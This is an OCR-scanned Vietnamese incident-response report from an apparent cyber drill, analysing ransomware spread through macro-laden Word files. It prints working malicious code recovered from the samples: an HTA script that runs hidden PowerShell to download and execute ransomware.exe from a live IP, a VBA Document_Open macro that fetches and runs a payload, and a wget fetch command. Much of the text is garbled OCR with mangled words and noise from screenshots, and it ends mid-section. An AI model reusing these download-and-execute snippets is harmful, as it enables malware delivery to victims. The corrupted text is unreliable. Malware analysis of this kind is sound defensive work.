RANSOMWARE: XU’ LY VA PHONG CHONG

Tén d6i : DHBKHCM.

Tbng hop két qua:

Phase 1:

BAO CAO

M6 phdng tinh huéng bi lay nhiém ransomware va ra soat, xac minh tinh trang lay nhiém.

- Sau khi mé& cac file dinh kém, di liéu tai cac thw muc Desktop, Downloads,... da bi thay déi:

T4t ca cac file déu bi ma héa va ddi dudi thanh .bam!

%

103.237.99.61 - Remote Desktop Connection

- 8

F-i Capturing from Local Area Connection

Sl =]

File e
AN g6 BREResE
I [id. addr == 118.70.80.143.

Edit  View Go Capture Analyze  Statistic

No. Time: Source Destination
1 ©. 000000 fa:16:3e:2b:15:57 Broadcast
2 ©.001602 123.20.164.237 192.168.1.66
3 @.e1136% 192.168.1.66 123.20.164.21
4 @.011377 192.168.1.66 123.20.164.2
5 ©.011383 192.168.1.66 123.20.164.2]
6 0.037564 123.20.164.237 192.168.1.66
7 ©.171155 123.20.164.237 192.168.1.66
8 0.201186 192.168.1.66 123.20.164.2.
9 2.201216 192.168.1.66 123.20.164.2
10 @.201225 192.168.1.66 123.20.164.2

I Frame 1: 42 bytes on wire (336 bits), 42 bytes capturd
 Ethernet II, Src: fa:18:3e:2b:15:57 (fa:16:3e:2b:15:57
> Address Resolution Protocol (request)

" ff £f ff ff f f fa 16 3e 2b 15 57 08 06 00 @1
@5 00 @6 @4 Q0 01 fa 16 3e 2b 15 57 c@ a8 0L @1
22 @0 @2 20 o2 20 c@ af @1 ee

=]

m-[ 8 > Bkav » Downlosds »

Organize ¥ Includeinlibrary v Sharewith v Newfolder
43¢ Favorites Nams
B Desktop 1. Huong-dan-dien-tap-ANM
% Downloads 1. procdot_1_2_55_windows
i Recent Places L. ProcessMonitor
(&7 721700 exe
4 Libraries & BkavE12Clientsetup.exe
v [ D Bc
> @ Music 1) Firefox Setup Stub 44.0.exe
© k=) Pictures | Huong-dan-dien-tap-ANM.Fzbam!
Subversion © IE11-Windoves 6.1-xB6-¢n-us &xe
Videos L key word 2010.tt.bam!
(& nmap-T.50-setup exe
4% Computer 1 procdot_1_2 55 windows.zip
o &, Loeal Disk (C) |4, ProcessMonitor.zip
<& RegshotPortable_1.9.0.paf.exe
> €3 Network 5 reshacker_setup.exe

4 SinkWienTT.Net--Microsoft.Office 2010.X16-32007.exe
ﬂ TortoiseSUN-1.9.2,26806-win32-svn-1.9.2.msi
M Wireshark-win32-2.40.exe

k 18 items

~ [ || Search Downtoads

=~ 0 @

Date madified Type Size
T/26/2017 3:06 PM  File folder

T/26/2017 12:06 PM  File folder

T/26/2017 1206 PM  File folder

T/22/2017 2:44PM  Application 1102K8
LI/11/2016 $:41PM  Application 53,771KB
6/26/2016 10:56 PM  Application 965 KB
LAL/2016 839 PM  Application 27KB
T/26/2017 10:00 AM  BAM! File 802Ke
TA9/2017 1014 AM  Application 29,025 KB
T/26/2017 10:00 AM  BAMI File 1KB
TAG/201T 8:56 AM  Application 26,635 KB
T/26/2017 12:03PM  Compressed (zipp. 6,876 KB
T/26/2017 12:04 PM  Compressed (zipp.. 932 KB
T/26/2017 1205 PM  Application 553 KB
T/26/2017 854 AM  Application 2,852K8
10/11/2016 11:42 .. Application 599,609 KB
3/2/2016 8:39 AM Windows Installer .. 15,100 KB
T/26/2017 1205 PM  Application 52,315 KB

[ Expression. +

O 7 Local Area Connection: <live capture in progress>

|| Packets: 13623 * Displayed: 13623 (100.0%)

- Dy doan con dwérng ma doc lay nhiém vao may tinh:

Thoéng qua viéc mé file doc va kich hoat Macro

¥ 35D

D =l O ENG

|| Profile: Default
3:30 PM

3:30PM
7/26/2017

7/26/2017 ||




o) 103.237.99.61 - Remote Desktop Connection - - 0

& Capturing from Local Area Connection o @]
- - = = =5
AEge I BRERe>=7F 8 =B
W .26 = 118.70.50.143 v-[ » Bkav » Downlosds » Huong-dan-dien-tap-ANM ~ [43 || Search Huong-dan-dien-tap-atm | [) expression.. +
No. Time Source Destination P . . == =
Organize v (W] Open.v  Sharewith-v  Print- Newfolder =~ [0 )
1 @. 000000 fa:16:3e:2b:15:57  Broadcast 5 = " ® |
2 0.001602 123.20.164.237 192.168.1.66|| 4 pyocrives Narme Date modified Type Size
3 @.011369 192.168.1.66 123.20.164.2 - —
2 0.011377 192.168.1.66 123.20.164.2 B Deskrop ] Di€n tip ANM - Ldoc 1/23/2017 10:05AM  Microsoft Word S... 5,521 KB
s 0.011383 192.168.1.86 123.20.164.21 & Downloads &) Dign tsp ANM - Z.doc 1/26/2017 10:00 AM  Microsoft Word 3... 134k
6 @.037864 123.20.164.237 192.168.1.66 % Recent Places
7 0.171155 123.20.164.237 192.168.1.66
8 2.201186 192.168.1.66 123.20.164.2 S
9 0.201216 192.168.1.66 123.20.164.2 oy brarles
10 0.201225 192.168.1.66 123.20.164.2 [ Document ts
= = = : : o
> Frame 1: 42 bytes on wire (336 bits), #Z bytes cepturd &5 Pict

> Ethernet II, Sre: fa:16:3e:2b:15:57 (fa:16:3e:2b:15:57

> Address Resolution Protocol (request) (=)l Subversion

B videos

% Computer
&, Local Disk (C)

€ Network
2020 ff £f ff ff Tf ¥f fa 16 3e 2b 15 57 @8 06 00 01
0010 @5 00 @6 @4 @0 21 fa 16 3e 2b 15 57 c@ a8 oL @1
20 22 Q0 @2 Q0 Q0 20 cR a8 Q1 ee
g = Dién tap ANM - L.doc Date modified: 7/23/2017 10:05 AM Tags: Add atag
Microsoft Word 97 - 2003 Document Authers: Add an auther

|| Packets: 14239 * Displayed: 14233 (100.0%} || -Profile: Default
330PM | |
72602007 |
330PM
77262017

W = =

- [ il O ENG

Thoéng qua phan tich Static Analysis ciing thay rd diéu nay.

(1) File Doc 1:

B1:

remnux@remnux:~/Desktop/Malware/ANM$ rtfdump.py -s 13 -H -E -d D1.doc.bin | oledump.py -s 1
00000000: 01 00 00 02 09 00 00 00 01 00 00 00 00 00 00 QOO ................

00000010: 00 00 00 00 00 00 00 00 A4 000000 EOC9EAT9 ........ Q. 9000y
00000020: F9 BA CE 11 8C 8200 AA004B A9 0B 8C 0000 00 9©©.©0©.© K©.©...
00000030: 68 00 74 00 74 00 70 00 3A 00 2F 00 2F 00 31 00 h.t.t.p.:././.1.

00000040: 31 00 38 00 2E 00 37 00 30 00 2E 00 38 00 30 00 1.8...7.0...8.0.

00000050: 2E 00 31 00 34 00 33 00 2F 00 67 00 65 00 74 00 ..1.4.3./.g.e.t.

00000060: 72 00 61 00 6E 00 73 00 6F 00 6D 00 77 00 61 00 r.a.n.s.0o.m.w.a.
00000070: 72 00 65 00 2E 00 68 00 74 00 61 00 00 00 00 OO r.e...h.t.a.....

00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 QO ................

00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 QO ................

000000A0: 00 00 00 00 79 58 81 F4 3B 1D 7F 48 AF 2C 82 5D ...y X©©;. H@ @]
000000B0: C4 85 27 63 00 00 00 00 A5 AB 00 00 FF FF FF FF g'c... 9©. ©©9©©
000000CO0: 06 09 02 00 00 00 00 00 CO 00 00 00 00 00 00 46 ........ ©....F

000000D0: 00 00 00 00 FF FF FF FF 00 00 00 00 00 00 00 00 ... 9 ©©®........
000000EO: 90 66 60 A6 37 B5 D2 01 00 00 00 00 00 00 00 00 ©f @ 7@ -........

B2:
C6 dwgc dwdng link http://118.70.80.143/getransomware.hta, tai vé véi wget
wget http://118.70.80.143/getransomware.hta

B3:



Xem ndi dung file getransomware.hta

remnux@remnux:~/Desktop/Malware/ANM$ cat getransomware.hta

<script>

a=new ActiveXObject("WScript.Shell");
a.run('%SystemRoot%/system32/WindowsPowerShell/v1.0/powershell.exe -windowstyle hidden
(new-object System.Net.WebClient).DownloadFile(\'http://118.70.80.143/ransomware.exe\',
\'c:/windows/temp/ransomware.exe\'); c:/windows/temp/ransomware.exe', 0);window.close();
</script>

(2) File Doc 2:
B1:
remnux@remnux:~/Desktop/Malware/ANM$ olevba.py D2.doc.bin | more

Private Sub Document_Open()
Dim SourceName As String
Dim Destination As String

Dim R As Long

SourceName = "http://118.70.80.143:4448/ransomware _tb.exe"
Destination = "C:\Windows\Temp\ransomware.exe"
DeleteUrICacheEntry (SourceName)

R = URLDownloadToFile(0&, SourceName, Destination, 0&, 0&)
IfR =0 Then

Call Shell(Destination, voNormalFocus)

End If

End Sub

Phase 2:
C6 lap hién trwdng va phan tich, 14y mau.

Cé lap hién trudng:

Chi mé& Port 3389 va dong tat ca cac Port khac



Lo} 103.237.99.61 - Remote Desktop Connection &% - O RS
File Action View Help
e |26 = HED
P Windows Frewsll with Advanc Actions
g‘r;“;i:‘::l‘" Narne Group. Profile  Emabled  Action  Override  Program  Local Address  Remote Address  Protocol  Local Port ~ || Inbound Rules -
B Connection Security Rules || @ Firefox (C:\Program Private  Yes Allow  No Ci\Progr..  Any TCP Any &3 NewRule..
» M, Monitoring @ Firefox (C\Program .. Private Vs Allow  No C\Progr.. Any UDP Any | % Fiter by Profite v
@ nmap Public  Yes Allow  No Chprogr.. Any ubP .
@nmap Public  Yes Allow  No Cavpro Tcp T Filter by State 4
P Inbound No 7 Filter by Group >
ranchCache Conten... BranchCa.. All SYSTEM TCP View »
@ 68ranchCache Hosted... BranchCa..  All No Allow  No SYSTEM  Any TP fefresh
@ t6ranchCache PeerDi. BranchCa., Al No Allow  No Yesystern..,  Any Local subnet uop
@ Connectto s Networ... Connectt.. Private.. No Allow No %System... Any Local subnet TCP Export Liss...
@ Connectto s Networ... Connectt.. Domain  No Allow  No YSystem...  Any Any TEP Help
@ connectto s Networ... Connectt.. Domain No Allow  No System Any Any Tce
@ Connectto s Networ... Connectt.. Private.. No Allow  No System  Any Local subnet Tcp & -
@ Connectto s Networ... Connectt.. Private.. No Allow No Systern Any Local subnet TCP % Disable Rule
@ Connectto s Networ... Connectt.. Dorain  No Allow No Systern Any Ay Tce & cu
@ Connectto s Networ.. Connectt.. Al No Allow  No %Systern.. Any Local subnet uop N
@ Core Networking - D... Core Netw... All Ves Alow  No Syt Ay Any ICMPVE  Any @ Copy
(@ Core Networking - D... Core Netw... Al Yes Allow  No System Ay Any CMPud  Any K Delete
@ Core Networking = D... Core Netw... All Yes Allow  No %System... Any Any uop 68 [T] Properties
(@ Core Newworking - D... Core Netw... Al Yes Allow  No %System... Any Any uop 546 B ver
@ Core Networking - Tn... Core Netw... All Yes Allow  No System  Any Any 16MP Any
@ Core Networking - TP... Core Netw... All Ves Allow  No System  Any Any Tcp IPHTTPS
@ Core Newworking - 1P... Core Netw... All Ves Alow  No System  Any Any Pvi Any
(@ Core Networking - . Al Ves Allow  No System  Any Local subnet ICMPV6  Any
@ Core Netwaorking - . Al Yes Allow  No System  Any Local subnet ICMPVE  Any
@ Core Networking - . Al Yes Allow  No System  Any Local subnet ICMPVE  Any
@ Core Newworking - M... . Al Yes Allow  No System  Any Local subnet ICMPVE Any
@ core Networking « N... Core Netw... All Yes Allow No System Any Any ICMPYE Any
@ Core Newworking - N... Core Netw... All Yes Allow  No System  Any Any ICMPVE  Any
@core Networking - Core Netw.., All Yes Allow Ne System Any Any ICMPVE Any
_ B e Natnsbivns - B Covwe Nabas Al Ve Alloses N Susczam A Aves TOMADK A 5
9 T vl il ¢

Phan tich va 14y mau: lay vé file thuc thi clia ransomware.

- Céch |4y céc file ransomware:

o Qua file “Dién tap ANM — 1.doc™:

Tai dia chi http://118.70.80.143/getransomware.hta va tro toi

http://118.70.80.143/ransomware.exe

0 Qua file “Dién tap ANM — 2.doc”:

http://118.70.80.143:4448/ransomware_tb.exe

Phase 3:
Phan tich va xt ly cac thanh phan doc hai.

- Phan tich hanh vi file ransomware:

o Phwong thirc ma héa:

Ma hoéa béng API ctia Windows

3:38 PM

= | D)
BN g -

7/26/2017



CryptEncrypt(phKey, 0, 1, 0, (BYTE *)v8, &pdwDatalen, v5 + 32)
Dau tién 1a doc ndi dung File, sau d6 ma hoa véi API trén. Key dwoc sinh ra béi CryptGenRandom.
if ( ReadFile(v4, IpBuffer, v6, &NumberOfBytesRead, 0) )
{
v8 = (const unsigned __int16 *)(v25 + 34);
v9 = (__int16 *)(v25 + 34);
do
{
v10 = *v9;
++v9;
}
while (v10);
memcpy_0(v7, (const void *)(v25 + 34), 2 * (((signed int)v9 + -v25 - 36) >> 1));

if (!Isub_401060((DWORD *)&v29, v21, IpBuffer, (const void *)(v25 + 1), (char *)v7 + 2 *
wcslen(v8) + 4) )

o Ma hoa tat ca céc file c6 dinh dang nhw dudi day:

Poc trong String

.data:00414058 ; ".jpeg"
.data:0041405C dd offset a_rb ;".rb”
.data:00414060 dd offset a_602 ; ".602"
.data:00414064 dd offset a_jpg ; ".jpg"
.data:00414068 dd offset a_rtf ;"
.data:0041406C dd offset a_doc ; ".doc"
.data:00414070 dd offset a_js ; "js"
.data:00414074 dd offset a_sch ; ".sch"
.data:00414078 dd offset a_3dm ; ".3dm"
.data:0041407C dd offset a_jsp ; "jsp"
.data:00414080 dd offset a_sh ; ".sh"
.data:00414084 dd offset a_3ds ; ".3ds"
.data:00414088 dd offset a_key ; " key"
.data:0041408C dd offset a_sldm ; ".sldm”
.data:00414090 dd offset a_3g2 ; ".3g2"
.data:00414094 dd offset a_lay ; "lay"
.data:00414098 dd offset a_sldm ; ".sldm"



.data:0041409C
.data:004140A0
.data:004140A4
.data:004140A8
.data:004140AC
.data:004140B0
.data:004140B4
.data:004140B8
.data:004140BC
.data:004140C0
.data:004140C4
.data:004140C8
.data:004140CC
.data:004140D0
.data:004140D4
.data:004140D8
.data:004140DC
.data:004140E0
.data:004140E4
.data:004140ES8
.data:004140EC
.data:004140F0
.data:004140F4
.data:004140F8
.data:004140FC
.data:00414100
.data:00414104
.data:00414108
.data:0041410C
.data:00414110
.data:00414114
.data:00414118
.data:0041411C
.data:00414120
.data:00414124
.data:00414128
.data:0041412C
.data:00414130
.data:00414134
.data:00414138
.data:0041413C
.data:00414140
.data:00414144
.data:00414148
.data:0041414C
.data:00414150

dd offset a_3gp
dd offset a_lay6
dd offset a_sldx
dd offseta_7z
dd offset a_Idf
dd offset a_slk
dd offset a_accdb
dd offset a_m3u
dd offset a_sIn
dd offset a_aes
dd offset a_m4u
dd offset a_snt
dd offset a_ai
dd offset a_max
dd offset a_sql

; ".3gp"
; ".lay6"
; ".sldx"
;"7Z"
; "df"
; ".slk"
; ".accdb"
; ".m3u”
;".sIn”
; ".aes
;".m4u
; ".snt”
; "ai"

: ".max
; "_Sql"

dd offset off 411360

dd offset a_mdb

dd offset a_sqlite3

dd offset a_asc
dd offset a_mdf

:".mdb"

; ".sqlite3"
;".asc"
;".mdf"

dd offset a_sqlitedb ; ".sqlitedb"

dd offset a_asf
dd offset a_mid
dd offset a_stc
dd offset a_asm
dd offset a_mkv
dd offset a_std
dd offset a_asp
dd offset a_mml
dd offset a_sti
dd offset a_avi
dd offset a_mov
dd offset a_stw

dd offset a_backup

dd offset a_mp3
dd offset a_suo
dd offset a_bak
dd offset a_mp4
dd offset a_svg
dd offset a_bat
dd offset a_mpeg
dd offset a_swf
dd offset a_bmp
dd offset a_mpg
dd offset a_sxc
dd offset a_brd

;"asf"
" mid"
; ".StC"

;".asm
;".mkv"
: ".std"

;".asp
;".mml”

sti"

avi
; ".mov
stw"
; ".backup"
;".mp3"
; ".suo"
; ".bak"
; ".mp4"
; ".svg"
; ".bat"
; ".mpeg"
; ".swf"
; ".bmp'
; ".mpg"

: ".SXC
;".brd"



.data:00414154
.data:00414158
.data:0041415C
.data:00414160
.data:00414164
.data:00414168
.data:0041416C
.data:00414170
.data:00414174
.data:00414178
.data:0041417C
.data:00414180
.data:00414184
.data:00414188
.data:0041418C
.data:00414190
.data:00414194
.data:00414198
.data:0041419C
.data:004141A0
.data:004141A4
.data:004141A8
.data:004141AC
.data:004141B0
.data:004141B4
.data:004141B8
.data:004141BC
.data:004141C0
.data:004141C4
.data:004141C8
.data:004141CC
.data:004141D0
.data:004141D4
.data:004141D8
.data:004141DC
.data:004141E0
.data:004141E4
.data:004141E8
.data:004141EC
.data:004141F0
.data:004141F4
.data:004141F8
.data:004141FC
.data:00414200
.data:00414204
.data:00414208

dd offset a_msg
dd offset a_sxd
dd offset a_bz2
dd offset a_myd
dd offset a_sxi
dd offseta_c
dd offset a_myi
dd offset a_sxm
dd offset a_cgm
dd offset a_nef
dd offset a_sxw
dd offset a_class
dd offset a_odb
dd offset a_tar
dd offset a_cmd
dd offset a_odg
dd offset a_tbk
dd offset a_cpp
dd offset a_odp
dd offset a_tgz
dd offset a_crt
dd offset a_ods
dd offset a_tif
dd offset a_cs
dd offset a_odt
dd offset a_tiff
dd offset a_csr

dd offset a_onetoc2

dd offset a_txt
dd offset a_csv
dd offset a_ost
dd offset a_uop
dd offset a_db
dd offset a_otg
dd offset a_uot
dd offset a_dbf
dd offset a_otp
dd offseta_vb
dd offset a_dch
dd offset a_ots
dd offset a_vbs
dd offset a_der
dd offset a_ott
dd offset a_vcd
dd offset a_dif
dd offseta_p12

;".cgm”
; ".nef"
; ".SXW
; ".class"
; ".odb"
; "tar"
; ".cmd"
; ".odg"
; ".tbk"
; ".cpp”
; ".odp"
; ".tgz"
;".ert"
; ".ods
; "tif"
;".cs
; ".odt"
; i
; ".csr"
; ".onetoc2"
 ixt”
; ".csv
; ".ost"
; ".uop
; ".db"
; ".otg
; ".uot"
; ".dbf"
; ".otp"
; ".vb"
; ".dch"
; ".ots"
; ".vbs
; ".der"
; "oft"
; ".ved”
; ".dif"
;".p12"



.data:0041420C
.data:00414210
.data:00414214
.data:00414218
.data:0041421C
.data:00414220
.data:00414224
.data:00414228
.data:0041422C
.data:00414230
.data:00414234
.data:00414238
.data:0041423C
.data:00414240
.data:00414244
.data:00414248
.data:0041424C
.data:00414250
.data:00414254
.data:00414258
.data:0041425C
.data:00414260
.data:00414264
.data:00414268
.data:0041426C
.data:00414270
.data:00414274
.data:00414278
.data:0041427C
.data:00414280
.data:00414284
.data:00414288
.data:0041428C
.data:00414290
.data:00414294
.data:00414298
.data:0041429C
.data:004142A0
.data:004142A4
.data:004142A8
.data:004142AC
.data:004142B0
.data:004142B4
.data:004142B8
.data:004142BC
.data:004142C0

dd offset a_vdi
dd offset a_dip
dd offset a_paq

dd offset a_vmdk

dd offset a_djvu
dd offset a_pas
dd offset a_vmx
dd offset a_docb
dd offset a_pdf
dd offset a_vob

dd offset a_docm

dd offset a_pem
dd offset a_vsd
dd offset a_docx
dd offset a_pfx
dd offset a_vsdx
dd offset a_dot
dd offset a_php
dd offset a_wav
dd offset a_dotm
dd offset a_pl
dd offset a_wb2
dd offset a_dotx
dd offset a_png
dd offset a_wk1
dd offset a_dwg
dd offset a_pot
dd offset a_wks
dd offset a_edb
dd offset a_potm
dd offset a_wma
dd offset a_eml
dd offset a_potx
dd offset a_wmv
dd offset a_fla

dd offset a_ppam

dd offset a_xlc
dd offset a_flv

dd offset a_pps
dd offset a_xIm
dd offset a_frm

dd offset a_ppsm

dd offset a_xlIs
dd offset a_gif

dd offset a_ppsx

dd offset a_xIsb

;"vdi”

; ".dip"

; ".PAQ"
; ".vmdk"
; ".djvu"

; ".pas"”
;".vmx
; ".docb"

; ".pdf"

; ".vob"
; ".docm"
; ".pem"

; ".vsd"

; ".docx"

; ".pfx"

; ".vsdx"

; ".dot"

;".php"
; ".wav"
; ".dotm"
"l
:".wb2"
; ".dotx"
; ".png"
;"wk1"
; ".dwg"
; ".pot"
; ".wks
; ".edb"
; ".potm"
;".wma
; ".eml"
; ".potx"
;.wmyv
;" fla"
; ".ppam”
; ".xlc”
N \V
; ".pps”
; "xim”
;" frm”
; ".ppsm”
; ".xls"
; ".gif"
; ".ppsx”
; ".xIsb"



.data:004142C4
.data:004142C8
.data:004142CC
.data:004142D0
.data:004142D4
.data:004142D8
.data:004142DC
.data:004142E0
.data:004142E4
.data:004142E8
.data:004142EC
.data:004142F0
.data:004142F4
.data:004142F8
.data:004142FC
.data:00414300
.data:00414304
.data:00414308
.data:0041430C
.data:00414310
.data:00414314
.data:00414318
.data:0041431C
.data:00414438
.data:0041443C
.data:00414440
.data:00414444
.data:00414448
.data:0041444C
.data:00414450
.data:00414454
.data:00414458
.data:0041445C
.data:00414460
.data:00414464
.data:00414468
.data:0041446C
.data:00414470
.data:00414474
.data:00414478
.data:0041447C
.data:00414480
.data:00414484
.data:00414488
.data:0041448C
.data:00414490

dd offset a_gpg
dd offset a_ppt
dd offset a_xIsm
dd offset a_gz
dd offset a_pptm
dd offset a_xlsx
dd offseta_h
dd offset a_pptx
dd offset a_xlt
dd offset a_hwp
dd offset a_ps1
dd offset a_xItm
dd offset a_ibd
dd offset a_psd
dd offset a_xltx
dd offset a_iso
dd offset a_pst
dd offset a_xIw
dd offset a_jar
dd offset a_rar
dd offset a_zip
dd offset a_java
dd offset a_raw
dd offset a_jpeg
dd offset a_rb
dd offset a_602
dd offset a_jpg
dd offset a_rtf
dd offset a_doc
dd offset a_js
dd offset a_sch
dd offset a_3dm
dd offset a_jsp
dd offset a_sh
dd offset a_3ds
dd offset a_key
dd offset a_sldm
dd offset a_3g2
dd offset a_lay
dd offset a_sldm
dd offset a_3gp
dd offset a_lay6
dd offset a_sldx
dd offseta_7z
dd offset a_Idf
dd offset a_slk

;" xItm

; "ibd"
; ll-psdll

2" xltx"

; ".pst”
;xiw
; "jar"
; "rar
; "zip"
; ".java"

;".raw
; ".jpeg
;".rb”

; ".602"
; ".jpg"

;"

; ".doc"

s
; ".sch"

; ".3dm"
;"jsp"
; ".sh"
; ".3ds"
; ".key"
; ".sldm"
; ".3g2"

: ".Idf"
: ".S|k"



.data:00414494
.data:00414498
.data:0041449C
.data:004144A0
.data:004144A4
.data:004144A8
.data:004144AC
.data:004144B0
.data:004144B4
.data:004144B8
.data:004144BC
.data:004144C0
.data:004144C4
.data:004144C8
.data:004144CC
.data:004144D0
.data:004144D4
.data:004144D8
.data:004144DC
.data:004144E0
.data:004144E4
.data:004144E8
.data:004144EC
.data:004144F0
.data:004144F4
.data:004144F8
.data:004144FC
.data:00414500
.data:00414504
.data:00414508
.data:0041450C
.data:00414510
.data:00414514
.data:00414518
.data:0041451C
.data:00414520
.data:00414524
.data:00414528
.data:0041452C
.data:00414530
.data:00414534
.data:00414538
.data:0041453C
.data:00414540
.data:00414544
.data:00414548

dd offset a_accdb

dd offseta_m3u
dd offset a_sin
dd offset a_aes
dd offset a_m4u
dd offset a_snt
dd offset a_ai
dd offset a_max
dd offset a_sql

; ".accdb"
:".m3u"
;".sin"
;".aes
:".m4u

; ".snt"
; ll.aill
;".max"

; ll-Squl

dd offset off 411360

dd offset a_mdb

dd offset a_sqlite3

dd offset a_asc
dd offset a_mdf

;".mdb"

; ".sqlite3"
;".asc"
;".mdf"

dd offset a_sqlitedb ; ".sqlitedb"

dd offset a_asf
dd offset a_mid
dd offset a_stc
dd offset a_asm
dd offset a_mkv
dd offset a_std
dd offset a_asp
dd offset a_mml
dd offset a_sti
dd offset a_avi
dd offset a_mov
dd offset a_stw

dd offset a_backup

dd offset a_mp3
dd offset a_suo
dd offset a_bak
dd offset a_mp4
dd offset a_svg
dd offset a_bat

dd offset a_mpeg

dd offset a_swf
dd offset a_bmp
dd offset a_mpg
dd offset a_sxc
dd offset a_brd
dd offset a_msg
dd offset a_sxd
dd offset a_bz2
dd offset a_myd
dd offset a_sxi
dd offseta_c

; ".asf"
;".mid"

; ".StC"
;".asm
:".mkv"

: ".Std"

.mml”
;"sti”

avi
;".mov
stw"
; ".backup"
;".mp3"
; ".suo"
; ".bak"
; ".mp4"
; ".svg"
: ".bat"
; ".mpeg"
;" .swf"

: u-bzzu
; ll.mydll

SXI

, .C



.data:0041454C
.data:00414550
.data:00414554
.data:00414558
.data:0041455C
.data:00414560
.data:00414564
.data:00414568
.data:0041456C
.data:00414570
.data:00414574
.data:00414578
.data:0041457C
.data:00414580
.data:00414584
.data:00414588
.data:0041458C
.data:00414590
.data:00414594
.data:00414598
.data:0041459C
.data:004145A0
.data:004145A4
.data:004145A8
.data:004145AC
.data:004145B0
.data:004145B4
.data:004145B8
.data:004145BC
.data:004145C0
.data:004145C4
.data:004145C8
.data:004145CC
.data:004145D0
.data:004145D4
.data:004145D8
.data:004145DC
.data:004145E0
.data:004145E4
.data:004145E8
.data:004145EC
.data:004145F0
.data:004145F4
.data:004145F8
.data:004145FC
.data:00414600

dd offset a_myi
dd offset a_sxm
dd offset a_cgm
dd offset a_nef
dd offset a_sxw
dd offset a_class
dd offset a_odb
dd offset a_tar
dd offset a_cmd
dd offset a_odg
dd offset a_tbk
dd offset a_cpp
dd offset a_odp
dd offset a_tgz
dd offset a_crt
dd offset a_ods
dd offset a_tif ;
dd offset a_cs
dd offset a_odt
dd offset a_tiff :
dd offset a_csr
dd offset a_onetoc2
dd offset a_txt
dd offset a_csv
dd offset a_ost
dd offset a_uop
dd offseta_db
dd offset a_otg
dd offset a_uot
dd offset a_dbf
dd offset a_otp
dd offset a_vb
dd offset a_dch
dd offset a_ots
dd offset a_vbs
dd offset a_der
dd offset a_ott
dd offset a_vcd
dd offset a_dif
dd offseta_p12
dd offset a_vdi
dd offset a_dip
dd offset a_paq
dd offset a_vmdk
dd offset a_djvu
dd offset a_pas

;".myi
;".sxm
;".cgm”

; ".nef"
; ".SXW
; ".class"
; ".odb"

; "tar"

; ".cmd"
; ".odg"
; ".tbk"
; ".cpp”
; ".odp"

; ".tgz"

;".ert"

; ".ods
" tif"
;".cs
; ".odt"

" tiff"

, .CSr

: ".onetoc2"

; axt"
; ".csv

; ".ost"
; ".uop"

; ".db"

; ".otg
; ".uot"

; ".dbf"

; ".otp"

; ".vb"

; ".dch"

; ".ots
; ".vbs
; ".der"

; ".oft"

; ".ved"

; ".dif"
;".p12"
;"vdi"

; ".dip"
;".PAQ"

; ".vmdk"
; ".djvu"
; ".pas"”



.data:00414604
.data:00414608
.data:0041460C
.data:00414610
.data:00414614
.data:00414618
.data:0041461C
.data:00414620
.data:00414624
.data:00414628
.data:0041462C
.data:00414630
.data:00414634
.data:00414638
.data:0041463C
.data:00414640
.data:00414644
.data:00414648
.data:0041464C
.data:00414650
.data:00414654
.data:00414658
.data:0041465C
.data:00414660
.data:00414664
.data:00414668
.data:0041466C
.data:00414670
.data:00414674
.data:00414678
.data:0041467C
.data:00414680
.data:00414684
.data:00414688
.data:0041468C
.data:00414690
.data:00414694
.data:00414698
.data:0041469C
.data:004146A0
.data:004146A4
.data:004146A8
.data:004146AC
.data:004146B0
.data:004146B4
.data:004146B8

dd offset a_vmx
dd offset a_docb
dd offset a_pdf
dd offset a_vob
dd offset a_docm
dd offset a_pem
dd offset a_vsd
dd offset a_docx
dd offset a_pfx
dd offset a_vsdx
dd offset a_dot
dd offset a_php
dd offset a_wav
dd offset a_dotm
dd offset a_pl
dd offset a_wb2
dd offset a_dotx
dd offset a_png
dd offset a_wk1
dd offset a_dwg
dd offset a_pot
dd offset a_wks
dd offset a_edb
dd offset a_potm
dd offset a_wma
dd offset a_eml
dd offset a_potx
dd offset a_wmv
dd offset a_fla
dd offset a_ppam
dd offset a_xlc
dd offset a_flv
dd offset a_pps
dd offset a_xIm
dd offset a_frm
dd offset a_ppsm
dd offset a_xls
dd offset a_gif
dd offset a_ppsx
dd offset a_xlsb
dd offset a_gpg
dd offset a_ppt
dd offset a_xlsm
dd offset a_gz
dd offset a_pptm
dd offset a_xlIsx

;".vmx
; ".docb"
; ".pdf"
; ".vob"
; ".docm"
; ".pem"
; ".vsd"
; ".docx"
; ".pfx"
; ".vsdx"
; ".dot"

;".php"
; ".wav"
; ".dotm"
i
; ".wb2"
; ".dotx"
; ".png"
; "wk1"
; ".dwg"
; ".pot"
; ".wks
; ".edb"
; ".potm"
;".wma
; ".eml"
; ".potx"
;.wmy
;" fla"
; ".ppam”
; ".xlc"
i\
;".pps”
;".xim”
;" frm"
; ".ppsm”
; ".xIs"
; ".gif"
; ".ppsx”
; ".xIsb"
;".gpg"
;"ppt"
; ".xlsm"
;".gz"
; ".pptm”
; ".xlsx"



.data:004146BC dd offseta_h ;".h"
.data:004146C0 dd offset a_pptx ; ".pptx"
.data:004146C4 dd offset a_xlt ; "Xt
.data:004146C8 dd offset a_hwp ; ".hwp"
.data:004146CC dd offset a_ps1 ;".ps1”
.data:004146D0 dd offset a_xItm ; "xItm”
.data:004146D4 dd offset a_ibd ; ".ibd"
.data:004146D8 dd offset a_psd ; ".psd"
.data:004146DC dd offset a_xltx ;"xlex"
.data:004146E0 dd offset a_iso ;"iso"
.data:004146E4 dd offset a_pst ; ".pst"
.data:004146E8 dd offset a_xlw ; "xIw"
.data:004146EC dd offset a_jar ; "jar"
.data:004146F0 dd offset a_rar ;"rar”
.data:004146F4 dd offset a_zip ; ".zip"
.data:004146F8 dd offset a_java ; ".java"
.data:004146FC dd offset a_raw ; ".raw"

0 Cac thw muc bi ma hoéa: Cac thw muc Downloads, Desptops va Documents.

o Cac hanh vi khac clia ma doc: Chinh stia n6i dung trong Registry
Trong HKEY_CURRENT_USER

.rdata:00410C60 unicode 0, <Software\whitehatdrill>,0
Tao file ransomware trong thu muc C:/Windows/Temp/ransomware.exe

- X ly cac thanh phan doc hai: X6a Registry nay di

Xéa File ransomware trong thw muc C:/Windows/Temp/ransomware.exe

Phase 4:

Diéu tra nguén tan cong va khéi phuc di¥ liéu bi ma hoa

- Céc théng tin v& nguédn tan cong gém:

o Email phat tdn ma déc: ......... 113.190.240 238 it

O IP server chrama dOC: .....ovvinniiii i
118.70.80.143



o Dja chi tra tién chuéc:

Khéng thay xuat hién API connect ra bén ngoai trong phan Import Table ciing nhw cac tham sé cla
ham GetProcAddress. Do dé dy doan la khéng co

- Cac bwdce khoéi phuc di liéu:

